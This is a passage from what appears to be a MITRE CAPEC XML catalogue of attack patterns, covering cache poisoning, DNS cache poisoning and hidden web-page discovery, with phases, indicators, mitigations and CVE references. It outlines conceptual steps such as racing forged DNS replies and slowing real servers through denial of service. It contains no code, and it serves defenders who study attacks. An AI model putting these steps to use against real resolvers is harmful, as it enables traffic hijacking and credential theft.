											<Text>Use tools to sniff traffic and scan a network in
												order to locate application's cache (e.g. a web
												browser cache) or a public cache (e.g. a DNS or ARP
												cache) that may have vulnerabilities. Look for
												poisoning point in cache table entries.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Run tools that check available entries in
												the cache.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-All</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Indicators>
											<Indicator ID="1" type="Positive">
												<Indicator_Description>
												<Text>Entries do not exist in the cache.</Text>
												</Indicator_Description>
												<Environments>env-All</Environments>
											</Indicator>
											<Indicator ID="2" type="Positive">
												<Indicator_Description>
												<Text>Applications or servers are not updated to
												new versions.</Text>
												</Indicator_Description>
												<Environments>env-All</Environments>
											</Indicator>
											<Indicator ID="3" type="Negative">
												<Indicator_Description>
												<Text>Entries exist in the cache.</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
										</Indicators>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>A list of server’s information.
												No target entry found in the
												cache.</Outcome_Description>
											</Outcome>
											<Outcome ID="2" type="Success">
												<Outcome_Description>A list of browser’s
												information. No target entry found in the
												cache.</Outcome_Description>
											</Outcome>
											<Outcome ID="3" type="Failure">
												<Outcome_Description>The results show target entries
												in the cache.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Detective">
												<Security_Control_Description>Monitor network scans
												and examine system logs. The scans may be from
												unknown local IP or MAC
												address.</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
						<Attack_Phase ID="2" Name="Experiment">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Cause specific data to be
											cached</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>An attacker sends bogus request to the target, and
												then floods responses that trick a cache to remember
												malicious responses, which are wrong answers of
												queries.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Intercept or modify a query, or send a bogus
												query with known credentials (such as transaction
												ID).</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Indicators>
											<Indicator ID="1" type="Positive">
												<Indicator_Description>
												<Text>Request that the attacker intercepts
												includes transaction ID.</Text>
												</Indicator_Description>
												<Environments>env-All</Environments>
											</Indicator>
											<Indicator ID="2" type="Positive">
												<Indicator_Description>
												<Text>The attacker successfully sends response
												before authorized server.</Text>
												</Indicator_Description>
												<Environments>env-All</Environments>
											</Indicator>
											<Indicator ID="3" type="Inconclusive">
												<Indicator_Description>
												<Text>Transaction ID has been randomized.</Text>
												</Indicator_Description>
												<Environments>env-Web env-CommProtocol
												env-ClientServer</Environments>
											</Indicator>
											<Indicator ID="4" type="Inconclusive">
												<Indicator_Description>
												<Text>The application or server cache has recorded
												correct table entry. In this case, the attacker
												needs to figure out a way to overwrite table
												entries to succeed </Text>
												</Indicator_Description>
												<Environments>env-All</Environments>
											</Indicator>
											<Indicator ID="5" type="Inconclusive">
												<Indicator_Description>
												<Text>The attacker fails to send responses before
												authorized responses. In this case, the attacker
												needs to figure out a way to overwrite table
												entries to succeed </Text>
												</Indicator_Description>
												<Environments>env-All</Environments>
											</Indicator>
										</Indicators>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>Any request of the targeted
												form results in the seeded
												response.</Outcome_Description>
											</Outcome>
											<Outcome ID="2" type="Failure">
												<Outcome_Description>Any request of the targeted
												form results in the correct response and not the
												seeded response.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Detective">
												<Security_Control_Description>Monitor log file and
												see a large number of responses sent from the same
												host. This host may be manipulated by attacker.
												</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
						<Attack_Phase ID="3" Name="Exploit">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Redirect users to malicious
											website:</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>As the attacker succeeds in exploiting the
												vulnerability, he is able to manipulate and
												interpose malicious response data to targeted victim
												queries. </Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Intercept or modify a query, or send a bogus
												query with known credentials (such as transaction
												ID).</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>Man-in-the-Middle intercepts secure
												communication between two parties. </Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>Any request of the targeted
												form results in the seeded
												response.</Outcome_Description>
											</Outcome>
											<Outcome ID="2" type="Failure">
												<Outcome_Description>Any request of the targeted
												form results in the correct response and not the
												seeded response.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Preventative">
												<Security_Control_Description>Be less trusting of
												the information passed to them by other parties,
												and ignoring any records passed back which are not
												directly relevant to the
												query.</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
					</Attack_Phases>
				</Attack_Execution_Flow>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The attacker must be able to modify the value stored in a cache to match a
						desired value. </Text>
				</Attack_Prerequisite>
				<Attack_Prerequisite>
					<Text>The targeted application must not be able to detect the illicit
						modification of the cache and must trust the cache value in its
						calculations. </Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>High</Typical_Severity>
			<Typical_Likelihood_of_Exploit>
				<Likelihood>High</Likelihood>
				<Explanation/>
			</Typical_Likelihood_of_Exploit>
			<Methods_of_Attack>
				<Method_of_Attack>Injection</Method_of_Attack>
			</Methods_of_Attack>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Text_Title>DNS cache poisoning example</Text_Title>
						<Text>In this example, an attacker sends request to a local DNS server to
							look up www.example .com. The associated IP address of www.example.com
							is 1.3.5.7. </Text>
						<Text> Local DNS usually caches IP addresses and do not go to remote DNS
							every time. Since the local record is not found, DNS server tries to
							connect to remote DNS for queries. However, before the remote DNS
							returns the right IP address 1.3.5.7, the attacker floods local DNS with
							crafted responses with IP address 2.4.6.8. The result is that 2.4.6.8 is
							stored in DNS cache. Meanwhile, 2.4.6.8 is associated with a malicious
							website www.maliciousexampsle.com </Text>
						<Text> When users connect to www.example.com, the local DNS will direct it
							to www.maliciousexample.com, this works as part of a Pharming attack.
						</Text>
					</Example-Instance_Description>
				</Example-Instance>
			</Examples-Instances>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Medium</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>To overwrite/modify targeted cache</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Configuration: Disable client side caching.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Implementation: Listens for query replies on a network, and sends a
						notification via email when an entry changes.</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>348<!--Use of Less Trusted Source-->
					</CWE_ID>
					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>345<!--Insufficient Verification of Data Authenticity-->
					</CWE_ID>
					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>349<!--Acceptance of Extraneous Untrusted Data With Trusted Data-->
					</CWE_ID>
					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>346<!--Origin Validation Error-->
					</CWE_ID>
					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>441<!--Unintended Proxy/Intermediary-->
					</CWE_ID>
					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ParentOf</Relationship_Nature>
					<Relationship_Target_ID>142<!--DNS Cache Poisoning-->
					</Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>210<!--Abuse of Functionality-->
					</Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>CanPrecede</Relationship_Nature>
					<Relationship_Target_ID>89<!--Pharming Attack-->
					</Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Purposes>
				<Purpose>Penetration</Purpose>
				<Purpose>Exploitation</Purpose>
			</Purposes>
			<CIA_Impact>
				<Confidentiality_Impact>High</Confidentiality_Impact>
				<Integrity_Impact>High</Integrity_Impact>
				<Availability_Impact>High</Availability_Impact>
			</CIA_Impact>
			<Technical_Context>
				<Architectural_Paradigms>
					<Architectural_Paradigm>All</Architectural_Paradigm>
				</Architectural_Paradigms>
				<Frameworks>
					<Framework>All</Framework>
				</Frameworks>
				<Platforms>
					<Platform>All</Platform>
				</Platforms>
				<Languages>
					<Language>All</Language>
				</Languages>
			</Technical_Context>
			<References>
				<Reference>
					<Reference_Title>DNS Cache Poisoning</Reference_Title>
					<Reference_Publisher>Wikipedia</Reference_Publisher>
					<Reference_PubDate>2011-07-10</Reference_PubDate>
					<Reference_Link>http://en.wikipedia.org/wiki/DNS_cache_poisoning</Reference_Link>
				</Reference>
				<Reference>
					<Reference_Title>DNS Threats and DNS Weaknesses</Reference_Title>
					<Reference_Publisher>DNSSEC: DNS Security Extensions</Reference_Publisher>
					<Reference_Link>http://www.dnssec.net/dns-threats.php</Reference_Link>
				</Reference>
				<Reference>
					<Reference_Title>Arp Spoofing</Reference_Title>
					<Reference_Publisher>Wikipedia</Reference_Publisher>
					<Reference_PubDate>2011-07-17</Reference_PubDate>
					<Reference_Link>http://en.wikipedia.org/wiki/ARP_spoofing</Reference_Link>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Sean Barnum</Submitter>
						<Submitter_Organization>Cigital</Submitter_Organization>
						<Submission_Date>2007-02-10</Submission_Date>
						<Submission_Comment>Initial core pattern content</Submission_Comment>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Wendy Jin</Modifier>
						<Modifier_Organization>Cigital, Inc.</Modifier_Organization>
						<Modification_Comment>Pre-Review of Content</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Tom Stracener</Modifier>
						<Modifier_Organization>Contract Security Engineer
							(MITRE)</Modifier_Organization>
						<Modification_Date>20011-07-19</Modification_Date>
						<Modification_Comment>Review and Revision of Content</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="142" Name="DNS Cache Poisoning" Pattern_Abstraction="Standard"
			Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>A domain name server translates a domain name (such as www.example.com)
						into an IP address that Internet hosts use to contact Internet resources. An
						attacker modifies a public DNS cache to cause certain names to resolve to
						incorrect addresses that the attacker specifies. The result is that client
						applications that rely upon the targeted cache for domain name resolution
						will be directed not to the actual address of the specified domain name but
						to some other address. Attackers can use this to herd clients to sites that
						install malware on the victim's computer or to masquerade as part of a
						Pharming attack.</Text>
				</Summary>
				<Attack_Execution_Flow>
					<Attack_Phases>
						<Attack_Phase ID="1" Name="Explore">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Explore resolver
											caches</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>Check DNS caches on local DNS server and client’s
												browser with DNS cache enabled.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Run tools that check the resolver cache in
												the memory to see if it contains a target DNS
												entry.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-All</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>Figure out if the client’s browser has DNS
												cache enabled.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-All</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Indicators>
											<Indicator ID="1" type="Positive">
												<Indicator_Description>
												<Text>Found no entry in the resolver cache </Text>
												</Indicator_Description>
												<Environments>env-All</Environments>
											</Indicator>
											<Indicator ID="2" type="Negative">
												<Indicator_Description>
												<Text>The results show target DNS entry in DNS
												server</Text>
												</Indicator_Description>
												<Environments>env-All</Environments>
											</Indicator>
										</Indicators>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>A list of DNS server
												information. No target entry found in the resolver
												cache.</Outcome_Description>
											</Outcome>
											<Outcome ID="2" type="Failure">
												<Outcome_Description>The results show target DNS
												entry in DNS server.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Detective">
												<Security_Control_Description>Network scans can be
												logged in system logs. The scans may be from
												unknown local IP
												address.</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
						<Attack_Phase ID="2" Name="Experiment">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Attempt sending crafted records to DNS
											cache:</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>A request is sent to the authoritative server for
												target website and wait for the iterative name
												resolver. An attacker sends bogus request to the DNS
												local server, and then floods responses that trick a
												DNS cache to remember malicious responses, which are
												wrong answers of DNS query.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Attacker must know the transaction ID by
												intercepting a DNS query, or sending a bogus query
												with known transaction ID.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-CommProtocol</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>If the transaction ID used to identify each
												query instance is randomized in some new DNS
												software, the attack must guess the transaction
												ID. Slow the response of the real DNS server by
												causing Denial-of-service. This gives attacker
												enough time to guess transaction </Text>
												</Attack_Step_Technique_Description>
												<Environments>env-CommProtocol</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="3">
												<Attack_Step_Technique_Description>
												<Text>Attacker crafts DNS response with the same
												transaction ID as in the request. The attacker
												sends out DNS responses before the authorized DNS
												server. This forces DNS local cache stores fake
												DNS response (wrong answer). The fake DNS
												responses usually include a malicious website’s IP
												address. </Text>
												</Attack_Step_Technique_Description>
												<Environments>env-CommProtocol</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Indicators>
											<Indicator ID="1" type="Positive">
												<Indicator_Description>
												<Text>DNS request that the attacker intercepts
												includes transaction ID.</Text>
												</Indicator_Description>
												<Environments>env-All</Environments>
											</Indicator>
											<Indicator ID="2" type="Positive">
												<Indicator_Description>
												<Text>The attacker successfully sends DNS response
												before authorized DNS server.</Text>
												</Indicator_Description>
												<Environments>env-All</Environments>
											</Indicator>
											<Indicator ID="3" type="Inconclusive">
												<Indicator_Description>
												<Text>Transaction ID has been randomized.</Text>
												</Indicator_Description>
												<Environments>env-All</Environments>
											</Indicator>
											<Indicator ID="4" type="Inconclusive">
												<Indicator_Description>
												<Text>The DNS server cache has recorded correct
												Name and IP address entry. In this case, the
												attacker needs to figure out a way to overwrite
												table entries to succeed </Text>
												</Indicator_Description>
												<Environments>env-All</Environments>
											</Indicator>
											<Indicator ID="5" type="Inconclusive">
												<Indicator_Description>
												<Text>The attacker fails to send DNS response
												before authorized DNS server. In this case, the
												attacker needs to figure out a way to overwrite
												table entries to succeed </Text>
												</Indicator_Description>
												<Environments>env-All</Environments>
											</Indicator>
										</Indicators>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>Any local machine that types
												names of the good server is redirected to a
												malicious server.</Outcome_Description>
											</Outcome>
											<Outcome ID="2" type="Failure">
												<Outcome_Description>Any local machine that types
												names of the good server is not redirected to a
												malicious server.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Detective">
												<Security_Control_Description>Monitor log file and
												see a large number of DNS responses sent from the
												same host. This host may be manipulated by
												attacker. </Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
						<Attack_Phase ID="3" Name="Exploit">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Redirect users to malicious
											website:</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>As the attacker succeeds in exploiting the
												vulnerability, the victim connects to a malicious
												site using a good web site’s domain name.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Redirecting Web traffic to a site that looks
												enough like the original so as to not raise any
												suspicion.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>Man-in-the-Middle intercepts secure
												communication between two parties.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>Any local machine that types
												names of the good server is redirected to a
												malicious server.</Outcome_Description>
											</Outcome>
											<Outcome ID="2" type="Success">
												<Outcome_Description>The attacker accepts the
												incoming SSL connection, decrypts it, reads all
												the traffic, and makes the same request via SSL to
												the original site.</Outcome_Description>
											</Outcome>
											<Outcome ID="3" type="Failure">
												<Outcome_Description>Any local machine that types
												names of the good server is not redirected to a
												malicious server.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Preventative">
												<Security_Control_Description>Upgrade BIND. Use
												latest version</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="2" type="Preventative">
												<Security_Control_Description>Be less trusting of
												the information passed to them by other DNS
												servers, and ignoring any DNS records passed back
												which are not directly relevant to the
												query.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="3" type="Preventative">
												<Security_Control_Description>To greatly reduce the
												probability of successful DNS race attacks. Use
												source port randomization for DNS requests,
												cryptographically-secure random
												numbers.</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
					</Attack_Phases>
				</Attack_Execution_Flow>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>A DNS cache must be vulnerable to some attack that allows the attacker to
						replace addresses in its lookup table. </Text>
					<Text>Client applications must trust the corrupted cashed values and utilize
						them for their domain name resolutions. </Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>High</Typical_Severity>
			<Typical_Likelihood_of_Exploit>
				<Likelihood>High</Likelihood>
				<Explanation/>
			</Typical_Likelihood_of_Exploit>
			<Methods_of_Attack>
				<Method_of_Attack>Injection</Method_of_Attack>
			</Methods_of_Attack>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>In this example, an attacker sends request to a local DNS server to
							look up www.example .com. The associated IP address of www.example.com
							is 1.3.5.7. </Text>
						<Text>Local DNS usually caches IP addresses and do not go to remote DNS
							every time. Since the local record is not found, DNS server tries to
							connect to remote DNS for queries. However, before the remote DNS
							returns the right IP address 1.3.5.7, the attacker floods local DNS with
							crafted responses with IP address 2.4.6.8. The result is that 2.4.6.8 is
							stored in DNS cache. Meanwhile, 2.4.6.8 is associated with a malicious
							website www.maliciousexampsle.com </Text>
						<Text>When users connect to www.example.com, the local DNS will direct it to
							www.maliciousexample.com, this works as part of a Pharming attack.
						</Text>
					</Example-Instance_Description>
				</Example-Instance>
			</Examples-Instances>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Medium</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>To overwrite/modify targeted DNS cache</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Resources_Required>
				<Text>The attacker must have the resources to modify the targeted cache. In
					addition, in most cases the attacker will wish to host the sites to which users
					will be redirected, although in some cases redirecting to a third party site
					will accomplish the attacker's goals.</Text>
			</Resources_Required>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Configuration: Make sure your DNS servers have been updated to the latest
						versions</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Configuration: UNIX services like rlogin, rsh/rcp, xhost, and nfs are all
						susceptible to wrong information being held in a cache. Care should be taken
						with these services so they do not rely upon DNS caches that have been
						exposed to the Internet.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Configuration: Disable client side DNS caching.</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Injection_Vector>
				<Text>A vector specifically crafted to poison DNS cache, so that all traffic is
					redirected to an unintended destination.</Text>
			</Injection_Vector>
			<Payload>
				<Text>DNS response</Text>
			</Payload>
			<Activation_Zone>
				<Text>DNS server cache</Text>
				<Text>Client’s browser DNS cache</Text>
			</Activation_Zone>
			<Payload_Activation_Impact>
				<Description>
					<Text> Any local machine that types names of the good server is redirected to a
						malicious server. This attack assists pharming attack when victim is fooled
						into entering sensitive data into supposedly trusted locations. The attacker
						could also accept the incoming SSL connection, decrypts it, reads all the
						traffic, and makes the same request via SSL to the original site. </Text>
				</Description>
			</Payload_Activation_Impact>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>348<!--Use of Less Trusted Source-->
					</CWE_ID>
					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>345<!--Insufficient Verification of Data Authenticity-->
					</CWE_ID>
					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>349<!--Acceptance of Extraneous Untrusted Data With Trusted Data-->
					</CWE_ID>
					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>346<!--Origin Validation Error-->
					</CWE_ID>
					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>441<!--Unintended Proxy/Intermediary-->
					</CWE_ID>
					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>350<!--Improperly Trusted Reverse DNS-->
					</CWE_ID>
					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Vulnerabilities>
				<Related_Vulnerability>
					<Vulnerability_ID>CVE-2005-0877</Vulnerability_ID>
					<Vulnerability_Description>
						<Text>Dnsmasq before 2.21 allows remote attackers to poison the DNS cache
							via answers to queries that were not made by Dnsmasq.</Text>
					</Vulnerability_Description>
				</Related_Vulnerability>
				<Related_Vulnerability>
					<Vulnerability_ID>CVE-2004-1754</Vulnerability_ID>
					<Vulnerability_Description>
						<Text>The DNS proxy (DNSd) for multiple Symantec Gateway Security products
							allows remote attackers to poison the DNS cache via a malicious DNS
							server query response that contains authoritative or additional
							records.</Text>
					</Vulnerability_Description>
				</Related_Vulnerability>
			</Related_Vulnerabilities>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>141<!--Cache Poisoning-->
					</Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>161<!--Infrastructure Manipulation-->
					</Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>CanPrecede</Relationship_Nature>
					<Relationship_Target_ID>89<!--Pharming Attack-->
					</Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Purposes>
				<Purpose>Penetration</Purpose>
				<Purpose>Exploitation</Purpose>
			</Purposes>
			<CIA_Impact>
				<Confidentiality_Impact>High</Confidentiality_Impact>
				<Integrity_Impact>High</Integrity_Impact>
				<Availability_Impact>High</Availability_Impact>
			</CIA_Impact>
			<Technical_Context>
				<Architectural_Paradigms>
					<Architectural_Paradigm>All</Architectural_Paradigm>
				</Architectural_Paradigms>
				<Frameworks>
					<Framework>All</Framework>
				</Frameworks>
				<Platforms>
					<Platform>All</Platform>
				</Platforms>
				<Languages>
					<Language>All</Language>
				</Languages>
			</Technical_Context>
			<References>
				<Reference>
					<Reference_Title>DNS Cache Poisoning</Reference_Title>
					<Reference_Publisher>Wikipedia</Reference_Publisher>
					<Reference_PubDate>2011-07-10</Reference_PubDate>
					<Reference_Link>http://en.wikipedia.org/wiki/DNS_cache_poisoning</Reference_Link>
				</Reference>
				<Reference>
					<Reference_Title>DNS Threats and DNS Weaknesses</Reference_Title>
					<Reference_Publisher>DNSSEC: DNS Security Extensions</Reference_Publisher>
					<Reference_Link>http://www.dnssec.net/dns-threats.php</Reference_Link>
				</Reference>
				<Reference>
					<Reference_Title>Vulnerability Note VU#800113</Reference_Title>
					<Reference_Publisher>US CERT</Reference_Publisher>
					<Reference_PubDate>2008-07-08</Reference_PubDate>
					<Reference_Link>http://www.kb.cert.org/vuls/id/800113#pat</Reference_Link>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Sean Barnum</Submitter>
						<Submitter_Organization>Cigital</Submitter_Organization>
						<Submission_Date>2007-02-10</Submission_Date>
						<Submission_Comment>Initial core pattern content</Submission_Comment>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Wendy Jin</Modifier>
						<Modifier_Organization>Cigital, Inc.</Modifier_Organization>
						<Modification_Comment>Pre-Review of Content</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Tom Stracener</Modifier>
						<Modifier_Organization>Contract Security Engineer
							(MITRE)</Modifier_Organization>
						<Modification_Date>2011-07-19</Modification_Date>
						<Modification_Comment>Review and Revision of Content</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="143" Name="Detect Unpublicised Web Pages" Pattern_Abstraction="Standard"
			Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker searches a targeted web site for web pages that have not been
						publicized. Generally this involves mapping the published web site by
						spidering through all the published links and then attempt to access
						well-known debugging or logging pages, or otherwise predictable pages within
						the site tree. For example, if an attacker might be able to notice a pattern
						in the naming of documents and extrapolate this pattern to discover
						additional documents that have been created but are no longer externally
						linked. Using this, the attacker may be able to gain access to information
						that the targeted site did not intend to make public.</Text>
				</Summary>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The targeted web site must include pages within its published tree that
						are not connected to its tree of links. The sensitivity of the content of
						these pages determines the severity of this attack.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Low</Typical_Severity>
			<Resources_Required>
				<Text>Spidering tools to explore the target web site are extremely useful in this
					attack especially when attacking large sites. Some tools might also be able to
					automatically construct common page locations from known paths.</Text>
			</Resources_Required>
			<Injection_Vector/>
